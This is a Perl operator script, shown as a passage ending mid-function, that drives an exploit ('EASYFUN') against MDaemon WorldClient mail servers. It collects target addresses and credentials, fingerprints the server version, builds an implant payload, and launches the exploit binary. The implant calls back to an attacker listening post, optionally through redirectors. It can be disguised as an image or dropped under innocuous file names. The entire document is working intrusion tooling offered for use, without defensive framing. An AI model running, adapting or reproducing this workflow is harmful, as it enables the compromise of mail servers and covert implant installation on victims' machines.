use strict;
use vars qw($VERSION);

$::VERSION = "EASYFUN Script: 2.2.0.1";
print "\n\n$::VERSION\n\n";



use FindBin;				
use lib "$FindBin::Bin";	
use Getopt::Long;			
use Cwd;					

use IO::Socket; 
use Socket;

use lib "$FindBin::Bin\\..\\..\\Resources\\Perl";
use ExploitUtils qw(
	$EU_LOGFILE
	$EU_VERBOSE
	$EU_BATCHMODE
	EU_LogInit
	EU_Log
	EU_ExitMessage
	EU_GetInput
	EU_GetExistingDir
	EU_GetIP
	EU_GetLocalIP
	EU_GetRootDir
	EU_GetPort
	EU_RunCommand
	EU_GetAddr
	EU_StopServices
);


use vars qw($RIDEAREA $PAYLOAD_DLL $PAYLOAD_EXE $EXPLOIT_EXE @DEPFILES);


my @knownWCVersions = 
(
	{string => "No version", num => 0}
);

my @knownIISVersions = 
(
	{string => "No version", num => 0}
);



my	%opts = ();
GetOptions(\%opts, "v", "h", "q|?", "b", "e=s", "f=s", "d=s", "t=s", "l=s", "c=s", "x=s") or &print_script_usage(0);

if (scalar(@ARGV) > 0 ) {
  &EU_Log(1, "Extraneous arguments found on command line: @ARGV");
  &EU_Log(1, "Arguments will be ingnored");
  while(@ARGV) {shift;}
}

if (!defined($opts{"e"})) {
	&EU_Log(1, "A -e option must be supplied.");
	&print_usage(0);
}

if (!defined($opts{"f"})) {
	&EU_Log(1, "A -f option must be supplied.");
	&print_usage(0);
}

if (!defined($opts{"x"})) {
	&EU_Log(1, "A -x option must be supplied.");
	&print_usage(0);
}

if (!defined($opts{"l"})) {
	&EU_Log(1, "A -l option must be supplied.");
	&print_usage(0);
}

$::RIDEAREA	= "Resources\\Tools\\ridearea2.exe";	
$::LP_DLL	= "$opts{l}";					
$::PAYLOAD_DLL	= "$opts{f}";				
$::PAYLOAD_EXE	= "$opts{x}";				
$::EXPLOIT_EXE	= "$opts{e}\\eafu.exe";					

$::CALLBACK_NONE			= "0";			
$::CALLBACK_NEW				= "1";			
$::CALLBACK_REUSE_UPLOAD	= "2";			
$::CALLBACK_REUSE_ENTIRE	= "3";			


my $work_dir       = $opts{"d"} if (defined $opts{"d"});
my $root_dir       = $opts{"c"} if (defined $opts{"c"});
my $TargetIp       = $opts{"t"} if (defined $opts{"t"});

@DEPFILES = ($::RIDEAREA, $::EXPLOIT_EXE);



my	$logfile_prefix		= "EAFU_";			
my	$logfile_suffix		= "_script.log";	
my	$filename_suffix	= "_payload.bin";	

my	$SocketIp			= $TargetIp;		
my	$SocketPort			= 0;				
my	$CallbackOption		= 0;				
my	$CallbackIp			= 0;				
my	$CallbackPort		= 0;				
my	$TimeOutValue		= 0;				

my	$PayloadFile		= "";				
my	$PayloadType		= "";				
my	$LocalIp			= 0;				

my $UserName = "";
my $Password = "";
my $TargetPort = 0;
my $TargetWCVersion = 0;
my $TargetIISVersion = 0;
my $TargetBeta = "";
my $TargetLanguage = "";
my $DropFileName = "";
my $Target9x = "";
my $TargetHttps = "";
my $exploit_dir = "$opts{e}";
my $fhttp = 0;
my $callbackUrl = "";
my $WCVersionStr;
my $versionsFilename = "targetversions.cfg"; 

my $ImplantPayload = "";

&print_usage(1) if (defined $opts{"h"});	
&print_usage(0) if (defined $opts{"q"});	

$ExploitUtils::EU_VERBOSE   = 1 if (defined $opts{"v"});	
$ExploitUtils::EU_BATCHMODE = 1 if (defined $opts{"b"});	



if ($ENV{"OS"} ne "Windows_NT") {
    &EU_ExitMessage(1,"This script requires Windows NT-based platform.");
}


$work_dir = &EU_GetExistingDir("Enter pathname for operation's working directory", $work_dir, 1);
$root_dir = &EU_GetRootDir($root_dir,@::DEPFILES);



&EU_LogInit($logfile_prefix, $logfile_suffix, $work_dir);
&EU_Log(0,"$::VERSION");



&EU_Log(0,"\nChanging to working directory: $work_dir");
chdir $work_dir || &EU_ExitMessage(1,"Unable to change to working directory: $work_dir");






($SocketIp, $SocketPort, $CallbackOption, $PayloadFile, $PayloadType, $TimeOutValue, $CallbackIp, $CallbackPort, $UserName, $Password, $TargetPort, $TargetHttps, $TargetWCVersion, $TargetIISVersion, $TargetBeta, $TargetLanguage, $DropFileName, $Target9x, $fhttp, $callbackUrl) =
	&validate_parms($work_dir, $root_dir, $SocketIp, $SocketPort, $CallbackOption, $PayloadFile, $PayloadType, $TimeOutValue, $CallbackIp, $CallbackPort);



&EU_ExitMessage(0,"\nUser terminated script")  if ($TargetWCVersion == 0 );

my $answer;
if(!$EU_BATCHMODE) {
	$answer = &EU_GetInput("\nReady to begin exploit ([y],n,quit)? ", "y");
	&EU_ExitMessage(0,"User terminated script")  if ($answer ne "y" and $answer ne "Y");
}



my $payload_name_format = "${work_dir}\\${logfile_prefix}%04d%02d%02d_%02d%02d%02d${filename_suffix}"; 
my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = gmtime(time);

$year += 1900;
$mon  += 1;

my $RA_Payload = sprintf($payload_name_format,$year,$mon,$mday,$hour,$min,$sec);
my $CommandString = "";

if ($Target9x eq "n") {
	$CommandString = "\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -o \"$RA_Payload\" -t m -l m";
	if( $CallbackOption eq $::CALLBACK_NONE ) {
		$CommandString = $CommandString . " -f 13 -a 3";
	}
	elsif( $CallbackOption eq $::CALLBACK_NEW ) {
		$CommandString = $CommandString . " -f 17 -a 8";
	}
 
	if ( $PayloadType eq "e") {
	    $CommandString = $CommandString . " -d $DropFileName";
	}


	&EU_RunCommand($CommandString);
}
else {
	&EU_Log(1, "\nTarget is Windows 9x.  Building the 'drop executable' payload.");
	if ($PayloadType eq "e") {
		&EU_RunCommand("\"$root_dir\\$exploit_dir\\9xPayload.exe\" -i \"$PayloadFile\" -o \"$RA_Payload\"");
	} else {
		&EU_ExitMessage(0, "Can't run the ExpandingPulley DLL on a 9x target.\n");
	}
}


my $flags = "";
#my $flags;
#if($ExploitUtils::EU_VERBOSE) { $flags = "-v"; }
#else { $flags = ""; }

if ($fhttp == 1) {
	&EU_StopServices("W3SVC");
	$flags = "-h \"$callbackUrl\"";
}

my $ImplantPayload = $RA_Payload ;



my ($tsec, $tmin, $thour, $tdate, $tmonth, $tyear, $twday, $tyday, $tisdst) = localtime (time);
$tyear += 1900;
$tmonth  += 1;



my $logfileformat = "$work_dir\\$logfile_prefix%04d%02d%02d_%02d%02d%02d_exe.log"; 
my $log_filename = sprintf ($logfileformat, $tyear, $tmonth, $tdate, $thour, $tmin, $tsec);


$CommandString = "start \"EF Exploit\" cmd /T:9F /K \"\"$root_dir\\$::EXPLOIT_EXE\""
	. " -i $SocketIp"
	. " -p $SocketPort"
	. " -c $CallbackOption"
	. " -I $CallbackIp"
	. " -P $CallbackPort"
	. " -f \"$ImplantPayload\""
	. " -l \"$root_dir\\$::LP_DLL\""
	. " -o $TimeOutValue -u $UserName"
	. " -w $Password"
	. " -t $TargetIp"
	. " -r $TargetPort"
	. " -v $TargetWCVersion"
	. " -s $TargetIISVersion"
	. " -a $TargetLanguage"
	. " -9 $Target9x $flags"
	. " -m $TargetHttps"
	. " -L \"$log_filename\""
	. " -V \"$versionsFilename\"";

if ($TargetBeta ne "") {																																									
	$CommandString = $CommandString . " -b $TargetBeta";
}

&EU_Log(1,"\nUsing command line string \n***********\n$CommandString\n***********\n");
&EU_Log(1,"\nExploit will launch in a separate window. Follow the status messages");
&EU_Log(1,"in the new window to determine if it succeeds.");
&EU_Log(1,"\nLaunching exploit...");


&EU_RunCommand($CommandString);




my $cur_dir = cwd();
chdir $cur_dir || &EU_ExitMessage(1,"Unable to switch back to initial directory: $cur_dir");

&EU_ExitMessage(0,"\nDone with $::0.");






sub print_usage() {
	my ($verbose) = @_;
	print "$::VERSION\n";

	print qq~
Usage: $::0 [-v] [-h] [-?] [-b]
             [-d <working directory>] [-e <exploits directory>]
             [-t <target IP>] [-f <payload dll>] [-l <lp dll>]
	 
~;

	if ($verbose) {
		print qq~

  -v                    verbose mode. Default non-verbose mode.

  -h                    Print this help information.

  -?                    Print abbreviated help information.

  -b                    Batch (non-interactive) mode. Default interactive mode.

  -d <working directory> Working Directory
                        Top-level directory where operation's files will be
                        generated. Default E:\.

  -e <exploits directory> Exploits Directory
                        Top-level directory containing exploit files.
						Default one directory up from directory containing this script.

  -t <target IP>        Target IP address.
                        Default derived as last part of working directory name.

  -f <payload dll>      Filename of the implant payload.

  -x <payload exe>      Filename of the implant payload exe.

  -l <lp dll>           Filename of the listening post dll.

~;
	}

	&EU_ExitMessage(1,"End of help.");
}


sub validate_parms() {
	my ($work_dir, $root_dir, $SocketIp, $SocketPort, $CallbackOption, $PayloadFile, $PayloadType, $TimeOutValue, $CallbackIp, $CallbackPort) = @_;
	my ($continue, $retcode, $IISretcode, $vol, $dir);
	my ($redirectFlag, $LocalIp);
	my ($UserName, $Password, $TargetPort, $TargetWCVersion, $TargetIISVersion, $TargetBeta, $TargetLanguage);
	my $DropFileName = "spcss32.exe";
	my $Target9x = "n";
	my $TargetIIS = "n";
	my $TargetHttps = "n";
	my $en = 0;
	my $es = 0;
	my $fr = 0;
	my $ge = 0;
	my $jp = 0;
	my $it = 0; 
	my $pt = 0; 
	my $ru = 0;
	my $ch = 0; 
	my $ar = 0;	
	my $i = 0;
	my $fhttp = 0;
	my $callbackUrl = "";

	my $v_index; 

	$LocalIp = &EU_GetLocalIP("Enter the local IP Address", $LocalIp);
	&EU_Log(0, "Enter the local IP Address:  $LocalIp");

	while (1) {



		&EU_Log(1,"\nSelect Payload file to send:\n");
		&EU_Log(1,"   0) $::PAYLOAD_DLL");		
		&EU_Log(1,"   1) $::PAYLOAD_EXE");	
		&EU_Log(1,"   2) Arbitrary Executable");
			
		while(1) {
			$retcode = &EU_GetInput("\nEnter selection [0]: ", "0");
			&EU_Log(0, "\nEnter selection [0]: $retcode");

			if($retcode eq "0") {
				&EU_Log(1,"\nUsing Payload file $::PAYLOAD_DLL\n");
				$PayloadFile = $::PAYLOAD_DLL;
				$PayloadType = "d";

				&EU_Log(1, "\nWill use a new socket to callback and do everything else.\n");
				$CallbackOption = $::CALLBACK_NEW;

			}
			elsif($retcode eq "1") { 
				&EU_Log(1,"\nUsing Payload file $::PAYLOAD_EXE\n");
				$PayloadFile = $::PAYLOAD_EXE;
				$PayloadType = "e";

				&EU_Log(1, "\nWill use a new socket to callback and upload the implant only.\nThe exploit will not automatically launch its own listening post.\n");
				$CallbackOption = $::CALLBACK_REUSE_UPLOAD;
			}
			elsif($retcode eq "2") {
				$PayloadFile = &EU_GetInput("Enter the full pathname of the executable you wish to run on the target: ");
				$DropFileName = &EU_GetInput("Enter the filename as it should appear on the target [msregstr.exe]: ", "msregist.exe");
				$PayloadType = "e";

				for (
					$CallbackOption=0; 
					$CallbackOption < 1 or $CallbackOption > 3; 
					
				)
				{
					&EU_Log(1, 
						"\nSelect callback option:" .
						"\n\t$::CALLBACK_NEW) Create a new socket for the callback and everything else that happens thereafter." .
						"\n\t$::CALLBACK_REUSE_UPLOAD) Reuse the same exploit socket in order to upload the implant only (recommended for exe payload)." .
						"\n\t$::CALLBACK_REUSE_ENTIRE) Reuse the same exploit socket for the entirety of the operation.\n"
						);
					$CallbackOption = &EU_GetInput("\nEnter selection for callback option[$::CALLBACK_REUSE_UPLOAD]: ", "$::CALLBACK_REUSE_UPLOAD");
				}

				&EU_Log(1, "\nWill use a new socket to callback and do everything else.\n");
			}
			else {
				&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
				next;
			}
			last;
		}


		$retcode = &EU_GetInput("\nWill this operation be REDIRECTED (y,[n])? ", "n");

		if( ($retcode eq "y") or ($retcode eq "yes") or ($retcode eq "Y") or ($retcode eq "YES") ) { $redirectFlag = 1; }
		else { $redirectFlag = 0; }



		if( $redirectFlag == 0 ) {

			$SocketPort = 3000;		
			

			$SocketIp = &EU_GetIP("\nEnter the target IP Address", $SocketIp);
			&EU_Log(0, "Enter the target IP Address:  $SocketIp");

			$SocketPort = &EU_GetPort("\nEnter the target Port", $SocketPort);
			&EU_Log(0, "Enter the target Port:  $SocketPort");


			&EU_Log(1, "\nThe EF Exploit Payload must callback in order to upload the Implant Payload.");

			&EU_Log(1, "The local IP Address should be used as the callback IP Address.");

			$TargetPort = $SocketPort;	
		
		}

		else {


			$SocketIp = &EU_GetIP("\nEnter the redirection IP Address", "127.0.0.1");
			&EU_Log(0, "\nEnter the redirection IP Address:  $SocketIp");

			$SocketPort = &EU_GetPort("Enter the redirection Port");
			&EU_Log(0,"Enter the redirection Port: $SocketPort");

			$TargetPort = &EU_GetPort("Enter the TARGET port");
			&EU_Log(0, "Enter the port the target is listening on");
			
			&EU_Log(1, "\nThe EF Exploit Payload must callback in order to");
			&EU_Log(1, "upload the Implant Payload.  The callback IP Address MUST be that of");
			&EU_Log(1, "the Redirector.  The callback Port MUST be the same number on both");
			&EU_Log(1, "the Redirector and the local machine, else redirection will fail.");
			&EU_Log(1, "The local machine uses this port to listen for the callback, and the");
			&EU_Log(1, "EF Exploit Payload uses it to call back to the Redirector.");

			&EU_Log(1, "\nThe redirection IP Address should be used as the callback IP Address.");
		}

		$TargetHttps = &EU_GetInput("\nIs the target using a secure connection? (y, [n]) ", "n");

		if( ($TargetHttps eq "y") or ($TargetHttps eq "yes") or ($TargetHttps eq "Y") or ($TargetHttps eq "YES") ) 
		{
			$TargetHttps = "y";
		} 


		$CallbackIp = &EU_GetLocalIP("\nEnter the callback IP Address", $LocalIp);
		&EU_Log(0, "Enter the callback IP Address:  $CallbackIp");

		for (
			$CallbackPort = -1; 
			$CallbackPort < 1 or $CallbackPort > 65535;
		) 
		{
			$CallbackPort = &EU_GetPort("\nEnter the callback Port.  (Use 0 to generate a random port between 1 and 65535 -- not recommended).", 0);

			if (0 == $CallbackPort)
			{
				$CallbackPort = int rand (65534);
				$CallbackPort += 1;
			}
		}

		&EU_Log (1, "\nUsing callback port $CallbackPort\n");


		&EU_Log(1, "\nThe default time-out value for the target connection is 60 sec.");
		&EU_Log(1, "(You may want to increase this value if the network is exceptionally slow.)");
		$retcode = &EU_GetInput("Use default value of 60 sec ([y],n)? ", "y");
		&EU_Log(0, "Use default value of 60 sec ([y],n)?  $retcode");

		if( ($retcode eq "y") or ($retcode eq "yes") or ($retcode eq "Y") or ($retcode eq "YES") or ($retcode eq "60") ) {
			$TimeOutValue = "60";
		}
		else {
			$TimeOutValue = &EU_GetInput("Enter new time-out value (greater than 60): ");
			&EU_Log(0, "Enter new time-out value (greater than 60):  $TimeOutValue");
		}


		&EU_Log(1, "\nYou can send the implant by having the target make an HTTP request to the callback IP address.  Your machine will reply by uploading the implant wrapped inside well-formed HTML that will claim that the implant is actually an image.\n");
		&EU_Log(1, "If you do not use HTTP tunneling then the target will callback with a 4-byte authentication code to which your machine will reply by uploading the implant.\n");
		&EU_Log(1, "Using HTTP tunneling will cause the socket to be closed after the implant has been uploaded, so you will need to start your own listening post.\n");
		$retcode = &EU_GetInput("\nUse HTTP tunneling for the callback connection? (y,[n])? ", "n");
		&EU_Log(0, "Use HTTP tunneling for the callback connection? (y,[n])?  $retcode");
		if( ($retcode eq "y") or ($retcode eq "yes") or ($retcode eq "Y") or ($retcode eq "YES") ){
			$fhttp = 1;
		}
		if ($fhttp) {
			$callbackUrl = "http://$CallbackIp";
			if ($CallbackPort == 80 or $CallbackPort eq "80") {
				$callbackUrl .= "/";
			} else {
				$callbackUrl .= ":$CallbackPort/";
			}
			&EU_Log(1, "Based on the parameters, I think the callback URL should be:\n$callbackUrl");
			$retcode = &EU_GetInput("Is this correct? ([y], n)", "y");
			if( ($retcode eq "n") or ($retcode eq "no") or ($retcode eq "N") or ($retcode eq "NO") ){
				$callbackUrl = &EU_GetInput("Enter the callback URL: ", "");
			}
		}


		$TargetWCVersion = 0;
		$TargetIISVersion = 0;
		$TargetBeta = "";
		$TargetLanguage = "en";		
		my $needLang = 0;

		&EU_Log(1, "\n\nNow we will determine the version of WorldClient that will be exploited.\n");

		while(1)
		{

			while (1)
			{
				my (@linesFromVfile, $wcv, @WCversions, @IISversions);
				my $numVersions = 0;
				$versionsFilename = &EU_GetInput("\nEnter the filename of the list of WorldClient versions ([$versionsFilename])", $versionsFilename);
				$versionsFilename = "$root_dir\\$opts{e}\\$versionsFilename" ;
				open (VERSIONS, $versionsFilename) 
				or die ("\nFailed to open file <$versionsFilename>.\n")	;

				&EU_Log (1, "\nUsing file <$versionsFilename> to get a list of supported WorldClient versions.\n");
				@linesFromVfile = <VERSIONS>;
				close (VERSIONS);


				@WCversions = grep (/^Version \d\d?\.\d\.\d/, @linesFromVfile);

				for ($v_index = 0; $v_index < @WCversions; $v_index+=1)
				{	
					$WCversions[$v_index] =~ /(\d\d?)\.(\d)\.(\d)/;
					$knownWCVersions[$v_index+1]->{string} = "$1.$2.$3";
					$knownWCVersions[$v_index+1]->{num} = "$1$2$3" + 0;
				}


				@IISversions = grep (/^IIS \d\d?\.\d/, @linesFromVfile);

				for ($v_index = 0; $v_index < @IISversions; $v_index+=1)
				{	
					$IISversions[$v_index] =~ /(\d\d?)\.(\d)/;
					$knownIISVersions[$v_index+1]->{string} = "$1.$2";
					$knownIISVersions[$v_index+1]->{num} = "$1$2" + 0;
				}

				if (@WCversions > 0) {last;}
			}

			while( 1 )
			{
				$retcode = &Yes_No("\nWould you like to probe the target for its WorldClient version ([y],n)? ","y");

				if ( $retcode eq "y") 
				{

					($TargetWCVersion, $WCVersionStr, $TargetIISVersion) = &Probe_WorldClient( $SocketIp, $SocketPort, $TargetHttps );

					if ( $TargetWCVersion eq -1 )
					{
						$TargetWCVersion = 0;
						&EU_Log(1, "\nThe touch tool has detected that $WCVersionStr");
						$retcode = &Yes_No("\nWould you like to probe again (y,[n])? ","n");
						if ( $retcode eq "y" )
						{
							next;
						}
						else
						{
							$retcode = &Yes_No("\nWould you like terminate this script (y,[n])? ","n");
							if ( $retcode eq "n" )
							{
								last;
							}
							else
							{
								return;
							}
						}
					}
					elsif ( $TargetWCVersion eq 0 )
					{
						&EU_Log(1, "\nThe touch tool has detected that $WCVersionStr");
						last;
					}
					else
					{
						&EU_Log(1, "\nThe touch tool has detected that $WCVersionStr is running on the target.");
						$retcode = &Yes_No("\nAre you happy with this result ([y],n) ? ","y");
						if( $retcode eq "y" )
						{
							last;
						}
						else
						{
							$TargetWCVersion = 0;
						}
					}
				}
				last;
			}

			if ( $TargetWCVersion eq 0 )
			{
				while( 1 )
				{

					&EU_Log(1, "\nYou are about to be asked for the target MDaemon version.");
					&EU_Log(1, "If you are unsure about these values, you should banner MDaemon");  
					&EU_Log(1, "25, 110, 143, WorldClient - 3000 (by default). ");
					&EU_Log(1, "In general the WorldClient version is the same as the MDaemon version.");
					&EU_Log(1, "* Currently only v3.0.4 is the exception which has a WC v3.0.2.*");
					&EU_Log(1, "\n\tMDaemon Version");
					&EU_Log(1, "\t---------");

					my $vmax = @knownWCVersions;

					for ($v_index=1; $v_index < $vmax; $v_index++)
					{&EU_Log(1, "\t $v_index) ".$knownWCVersions[$v_index]->{string}); }

				
					$retcode = &EU_GetInput("\nSelect a target version [0]: ", 0 );

					&EU_Log(0, "Select a target version [0]: $retcode");

					if ( $retcode <= 0 or $retcode >= @knownWCVersions )
					{
						&EU_Log(1, "\nInvalid option. Try again *.\n");
						next 
					}
					last;
				} 


				$TargetIIS = &EU_GetInput("\nIs the target machine configured to use WorldClient via IIS? (y, [n]) ", "n");

				if ( $TargetIIS eq 'y'  )
				{
					while ( 1 )
					{
						&EU_Log(1, "\nPlease select the version of IIS used by the target:");
						&EU_Log(1, "\n\tIIS Version");
						&EU_Log(1, "\t-----------");
						&EU_Log(1, "\t 0) IIS Not Used");
						&EU_Log(1, "\t 3) IIS 6.0");
						$IISretcode = &EU_GetInput("\nSelect an IIS Version [0]: ", "0");

						if ( $IISretcode < 0 or $IISretcode > 4 )
						{
							&EU_Log(1, "\nInvalid option. Try again.\n");
							next 
						}
					
						last;
					};

					if ( $IISretcode == 0 )
					{
						$TargetIISVersion = 0;
					}
					elsif ( $IISretcode != 3 )
					{
						&EU_Log(1, "\nOnly IIS 6.0 is currently supported!.\n");
						return;
					}
					else
					{
						$TargetIISVersion = 60;
					}
				}
			}


			for ($v_index=1; $v_index<@knownWCVersions; $v_index++)
			{
				if(	$retcode == $v_index 
					or 
					$TargetWCVersion == $knownWCVersions[$v_index]->{num} ) 
				{
					$TargetWCVersion = $knownWCVersions[$v_index]->{num};
					last;
				}

			}
			if ($v_index >= @knownWCVersions)
			{ 
				&EU_Log(1, "\nInvalid option. Try again +.\n");
				next 
			}
			last;
		}


		if ($TargetIISVersion)
		{
			$needLang = 1;
			$en = 1;
			$ch = 1;
			$ar = 1;
		}


		$Target9x = &EU_GetInput("\nIs the target machine Windows 95, 98, or ME? (y, [n]) ", "n");

		if ( $Target9x eq 'y'  )
		{
			

			if ( $TargetWCVersion eq 684 )
			{
				$needLang = 1; 
				$ru = 0;
				$jp = 0;
				$ge = 0;
				$fr = 0;
			}
		}


		&EU_Log(1, "");
		if ($needLang) 
		{
			&EU_Log(1, "\nYou are about to be asked for the target MDaemon language.");
			&EU_Log(1, "If you are unsure about these values, you should banner MDaemon");  
			&EU_Log(1, "25, 110, 143, WorldClient - 3000.");
			&EU_Log(1, "E.g. 'ready' = English, 'listo' = Spanish.\n");
				
			while(1)
			{
				if ($en) { &EU_Log(1, "\t1) English"); }
				if ($es) { &EU_Log(1, "\t2) Spanish"); }
				if ($ge) { &EU_Log(1, "\t3) German"); }
				if ($fr) { &EU_Log(1, "\t4) French"); } 
				if ($jp) { &EU_Log(1, "\t5) Japanese"); } 
				if ($ru) { &EU_Log(1, "\t6) Russian"); } 
				if ($pt) { &EU_Log(1, "\t7) Polish"); } 
				if ($it) { &EU_Log(1, "\t8) Italian"); } 
				if ($ch) { &EU_Log(1, "\t9) Chinese"); } 
				if ($ar) { &EU_Log(1, "\t10) Arabic"); } 

				$retcode = &EU_GetInput("\nSelect a target language [1]: ", 1);

				if(	( $retcode < 1 ) or ( $retcode > 10 ) )
				{ 
					&EU_Log(1, "\nInvalid option. Try again.\n");
					next 
				}
				else
				{
					if( $retcode == 1 )
						{ $TargetLanguage = "en"; }
					elsif( $retcode == 2 ) 
						{ $TargetLanguage = "es"; }
					elsif( $retcode == 3 ) 
						{ $TargetLanguage = "ge"; }
					elsif( $retcode == 4 ) 
						{ $TargetLanguage = "fr"; }
					elsif( $retcode == 5 ) 
						{ $TargetLanguage = "jp"; }
					elsif( $retcode == 6 ) 
						{ $TargetLanguage = "ru"; }
					elsif( $retcode == 7 ) 
						{ $TargetLanguage = "pl"; }
					elsif( $retcode == 8 ) 
						{ $TargetLanguage = "it"; }
					elsif( $retcode == 9 ) 
						{ $TargetLanguage = "ch"; }
					elsif( $retcode == 10 ) 
						{ $TargetLanguage = "ar"; }
				}
				last
			}
		}



		&EU_Log(1, "\nValid MDaemon usernames are email addresses, e.g. user\@network.com.");
		$UserName = &EU_GetInput("Enter a valid username: ");
		$Password = &EU_GetInput("\nEnter the password for $UserName: ");




		&EU_Log(1,"\nConfirm Network Parameters:");
		&EU_Log(1,"\tRoot Directory      : $root_dir");
		&EU_Log(1,"\tLocal IP            : $LocalIp");
		&EU_Log(1,"\tTarget WC Version   : $TargetWCVersion$TargetBeta");
		
		if ($TargetIISVersion > 0)
		{
			&EU_Log(1,"\tTarget IIS Version  : $TargetIISVersion");
		}

		&EU_Log(1,"\tTarget Language     : $TargetLanguage");
		&EU_Log(1,"\tUserName            : $UserName");
		&EU_Log(1,"\tPassword            : $Password");
		&EU_Log(1,"\tTarget is Win 9x    : $Target9x");
		if( $redirectFlag ) {
			&EU_Log(1,"\tUsing Redirection   : True");
			&EU_Log(1,"\tRedirector IP       : $SocketIp");
			&EU_Log(1,"\tRedirector Port     : $SocketPort");
			&EU_Log(1,"\tTarget Port         : $TargetPort");
		}
		else {
			&EU_Log(1,"\tUsing Redirection   : False");
			&EU_Log(1,"\tTarget IP           : $SocketIp");
			&EU_Log(1,"\tTarget Port         : $SocketPort");
		}
		&EU_Log(1,"\tCallback IP         : $CallbackIp");
		&EU_Log(1,"\tCallback Port       : $CallbackPort");
		&EU_Log(1,"\tUsing HTTP Tunneling: $fhttp");
		&EU_Log(1,"\tCallback URL        : $callbackUrl");
		&EU_Log(1,"\tNetwork Time Out    : $TimeOutValue sec");

		$continue = &EU_GetInput("\nContinue with the current values ([y],n,quit)? ","y");
		&EU_Log(0, "\nContinue with the current values ([y],n,quit)? $continue");

		if( ($continue eq "y") or ($continue eq "yes") or ($continue eq "Y") or ($continue eq "YES") ) {
			last;
		} 
		elsif( ($continue eq "q") or ($continue eq "quit") or ($continue eq "Q") or ($continue eq "QUIT") ) {
			&EU_ExitMessage(1,"User terminated script\n");
		}
		else {
			&EU_Log(1, "Returning to top of script...\n");
			next;
		}

	} 



	return ($SocketIp, $SocketPort, $CallbackOption, $PayloadFile, $PayloadType, $TimeOutValue, $CallbackIp, $CallbackPort, $UserName, $Password, $TargetPort, $TargetHttps, $TargetWCVersion, $TargetIISVersion, $TargetBeta, $TargetLanguage, $DropFileName, $Target9x, $fhttp, $callbackUrl);
}

sub Probe_WorldClient()
{
	my ( $TargetIP, $TargetPort, $TargetHttps) = @_;

	my $HTTPRequest = "GET / HTTP/1.1\r\nHost:\r\n\r\n";
	my $HTTPResponse;
	my $ResponseHeader;
	my $WCVer = 0;
	my $IISVer = 0;
	my $WCStr = "";
	my $socket = -1;
	my $touchedWCversion = "";
	my $touchedIISversion = "";

	my $v_index;

	&EU_Log(1, "\n\n*************** WorldClient Touch Tool ***************\n\n" );

	if($TargetHttps eq "y") 
	{		
		my @eafu_ssl_args = "$TargetIP $TargetPort";
		
		$WCVer = &EU_RunCommand("\"$root_dir\\$opts{e}\\EAFU_SSL_exe\\EAFU_SSL.exe\" @eafu_ssl_args\"");

		while(!$touchedWCversion) 
		{  
			$touchedWCversion = &EU_GetInput("\nRE-ENTER the WorldClient versions number seen above: ", $touchedWCversion);
		}
		$touchedIISversion = &EU_GetInput("\nIf WorldClient was found to be running through IIS\nRE-ENTER the IIS versions number seen above\nIf not hit enter: ", $touchedIISversion);

		if( $touchedWCversion =~ /\d\d?\.\d\.\d/) 
		{
			
			for ($v_index=0; $v_index<@knownWCVersions; $v_index++)
			{
				if ($touchedWCversion eq $knownWCVersions[$v_index]->{string})
				{
					&EU_Log(1,"\nWorldClient version supported\n" );
					$WCVer = $knownWCVersions[$v_index]->{num}; 
					$WCStr = "WorldClient Version ".$knownWCVersions[$v_index]->{string};
					last;
				}	
			}
			if    ($v_index >= @knownWCVersions )
			{ $WCVer= 0; $WCStr = "WorldClient Version is currently not supported"; }
		}
		else 
		{
			$WCVer= -1; $WCStr= "the WorldClient version was not typed in correctly\n";
		}
		if( $touchedIISversion =~ /\d\d?\.\d/ )
		{
				for ($v_index=0; $v_index<@knownIISVersions; $v_index++)
				{
					if ($touchedIISversion eq $knownIISVersions[$v_index]->{string})
					{
						$IISVer = $knownIISVersions[$v_index]->{num}; 
						$WCStr .= " configured with IIS ".$knownIISVersions[$v_index]->{string};
						last;
					}
				}

				if ($v_index >= @knownWCVersions )
				{
					$WCVer = 0;
					$IISVer = 0;
					$WCStr .= " is configured with an unsupported version of IIS";
				}

		}
	}
	else 
	{
		&EU_Log(1, "Connecting to $TargetIP : $TargetPort\n" );
		$socket = &do_connect($TargetIP , $TargetPort, $socket);

	if ($socket == -1) 
	{ 
		$WCVer= -1; $WCStr= "it was unable to connect to $TargetIP:$TargetPort";
	}
	else
	{
		&EU_Log(1, "Connected to $TargetIP : $TargetPort\n");

		print $socket "$HTTPRequest";

		$HTTPResponse = ""; 
		while(<$socket>) { $HTTPResponse .= $_; } 

		$HTTPResponse =~ /HTTP\/1.[0-1].*(\r\n){2}/s;
		&EU_Log(1, "\n\n$&" );

		if (	$HTTPResponse =~ /HTTP\/1\.[0-1] 200 OK/ and
			$HTTPResponse =~ /Server: WDaemon\/(\d\d?\.\d\.\d)/) 
		{
			&EU_Log(1, "Found WorldClient version $1\n");
			$touchedWCversion = $1;
			
			for ($v_index=0; $v_index<@knownWCVersions; $v_index++)
			{
				if ($touchedWCversion eq $knownWCVersions[$v_index]->{string})
				{
					&EU_Log(1,"WorldClient version supported\n" );
					$WCVer = $knownWCVersions[$v_index]->{num}; 
					$WCStr = "WorldClient Version ".$knownWCVersions[$v_index]->{string};
					last;
				}
			}

			if    ($v_index >= @knownWCVersions )
			 { $WCVer= 0; $WCStr = "WorldClient Version is currently not supported"; }


			&EU_Log(1,"\n\t$WCStr" );

			close( $socket );
		}

		elsif (	$HTTPResponse =~ /HTTP\/1\.[0-1] 200 OK/ and 
			    $HTTPResponse =~ /Server: Microsoft-IIS\/(\d\d?\.\d).*MDaemon\/WorldClient.*v(\d\d?\.\d\.\d)/s )
		{
			$touchedIISversion = $1;
			$touchedWCversion = $2;
			
			for ($v_index=0; $v_index<@knownWCVersions; $v_index++)
			{
				if ($touchedWCversion eq $knownWCVersions[$v_index]->{string})
				{
					$WCVer = $knownWCVersions[$v_index]->{num}; 
					$WCStr = "WorldClient Version ".$knownWCVersions[$v_index]->{string};
					last;
				}
			}

			if ($v_index >= @knownWCVersions )
			{ 
				$WCVer = 0;
				$WCStr = "WorldClient Version is currently not supported"; 
			}
			else
			{
				for ($v_index=0; $v_index<@knownIISVersions; $v_index++)
				{
					if ($touchedIISversion eq $knownIISVersions[$v_index]->{string})
					{
						$IISVer = $knownIISVersions[$v_index]->{num}; 
						$WCStr .= " configured with IIS ".$knownIISVersions[$v_index]->{string};
						last;
					}
				}

				if ($v_index >= @knownWCVersions )
				{
					$WCVer = 0;
					$IISVer = 0;
					$WCStr .= " is configured with an unsupported version of IIS";
				}
			}			

